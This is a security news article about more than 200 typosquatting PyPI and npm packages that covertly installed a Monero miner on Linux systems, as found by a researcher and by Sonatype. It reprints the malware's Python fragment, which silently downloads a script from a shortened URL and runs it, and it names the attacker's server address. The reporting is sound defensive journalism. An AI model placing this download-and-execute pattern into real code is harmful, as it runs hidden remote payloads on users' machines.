By using this site, you agree to the Privacy Policy and Terms of Use.
Accept
Security Parrot - Cyber Security News, Insights and ReviewsSecurity Parrot - Cyber Security News, Insights and Reviews
Notification
Latest News
OpenAI may use Associated Press archive for AI training
July 14, 2023
EU users can hold conversations with Google Bard from training set
July 14, 2023
Aptos, the new default font for Microsoft Office
July 14, 2023
BlackLotus UEFI bootkit sources published on GitHub
July 14, 2023
Hackers from the XDSpy cyber-espionage group attacked Russian organizations on behalf of the Ministry of Emergency Situations
July 14, 2023
Aa
  • News
  • Tutorials
  • Security InsiderComing Soon
  • Expert InsightComing Soon
Reading: More than 200 packages with miners for Linux systems found in the PyPI and npm repositories
Share
Security Parrot - Cyber Security News, Insights and ReviewsSecurity Parrot - Cyber Security News, Insights and Reviews
Aa
Search
  • News
  • Tutorials
  • Security InsiderComing Soon
  • Expert InsightComing Soon
Follow US
Security Parrot - Cyber Security News, Insights and Reviews > News > More than 200 packages with miners for Linux systems found in the PyPI and npm repositories
News

More than 200 packages with miners for Linux systems found in the PyPI and npm repositories

Last updated: 2022/08/22 at 5:50 PM
Security Parrot Editorial Team Published August 22, 2022
Share
SHARE

Experts again found malware in the PyPI and npm repositories. This time it turned out that more than 200 packages use typesquatting and contain cryptocurrency miners for Linux systems.

The problem was first noticed by independent information security researcher Hauke ​​Lubbers, who found “at least 33 packages” on PyPI that ran the XMRig miner that mines the Monero cryptocurrency. Typesquatting was used to distribute them, that is, packages were downloaded if the user mistyped the name of a real popular package (since developers usually download packages through the terminal, typos are common). For example, malware imitated React, argparse and AIOHTTP.

While Lubbers was notifying the PyPI administration of his discovery, the same attacker began publishing another set of 22 packages with the same payload.

The researcher says that all packages were targeted at Linux systems and contained a code fragment that downloaded a Bash script from the attacker’s server via the Bit.ly URL shortening service:

os.system("sudo wget https://bit[.]ly/3c2tMTT -O ./.cmc -L >/dev/null 2>&1")
os.system("chmod +x .cmc >/dev/null 2>&1")
os.system("./.cmc >/dev/null 2>&1")

Lubbers explains that the URL on bit.ly points to a script hosted at 80.78.25[.]140:8000. Once executed, this script notifies its operator of the IP address of the compromised host and the successful deployment of the miner.

“I found these packages through my side project, which I call the Package Observatory Club,” Lubbers told Bleeping Computer. – It queries and saves metadata about all new packages uploaded to PyPI and RubyGems.org and then uses some heuristics. If a package looks suspicious, it alerts me and I take a look. Most of the time I get false positives, but PyPI has had a particularly large amount of typesquatting in the last week.”

Lubbers explains that he is doing this because “the cybersecurity community has There is a lot that comes from the open source ecosystem,” and he considers it his duty to pay back something for it:

“Whether it’s searching for vulnerabilities, helping to protect against intruders, or direct contributions. We must understand that most of the work of the package repositories rests on a small handful of volunteers, ”says the expert.

Almost at the same time as Hauke ​​Lubbers, analysts at Sonatype discovered 186 other malicious packages on npm linked to the same URL to download a malicious Bash script.

Fortunately, both repositories quickly removed the typesquatting malware from their platforms, and the malicious packages were unlikely to cause much harm to the developers.

Weekly Updates For Our Loyal Readers!

Security Parrot Editorial Team August 22, 2022
Share this Article
Facebook Twitter Email Copy Link Print

Archives

  • July 2023
  • June 2023
  • May 2023
  • April 2023
  • February 2023
  • October 2022
  • September 2022
  • August 2022
  • July 2022
  • June 2022
  • May 2022
  • April 2022
  • March 2022
  • February 2022
  • January 2022
  • December 2021
  • November 2021
  • October 2021
  • September 2021
  • August 2021
  • July 2021
  • June 2021
  • May 2021
  • April 2021
  • March 2021
  • February 2021
  • January 2021
  • December 2020
  • November 2020
  • October 2020
  • September 2020
  • August 2020
  • July 2020

You Might Also Like

News

OpenAI may use Associated Press archive for AI training

July 14, 2023
News

EU users can hold conversations with Google Bard from training set

July 14, 2023
News

Aptos, the new default font for Microsoft Office

July 14, 2023
News

BlackLotus UEFI bootkit sources published on GitHub

July 14, 2023

© 2022 Parrot Media Network. All Rights Reserved.

  • Home
  • Parrot Media Group
  • Privacy Policy
  • Terms and Conditions
Join Us!

Subscribe to our newsletter and never miss our latest news, podcasts etc..

Zero spam, Unsubscribe at any time.

Removed from reading list

Undo
Go to mobile version
Welcome Back!

Sign in to your account

Lost your password?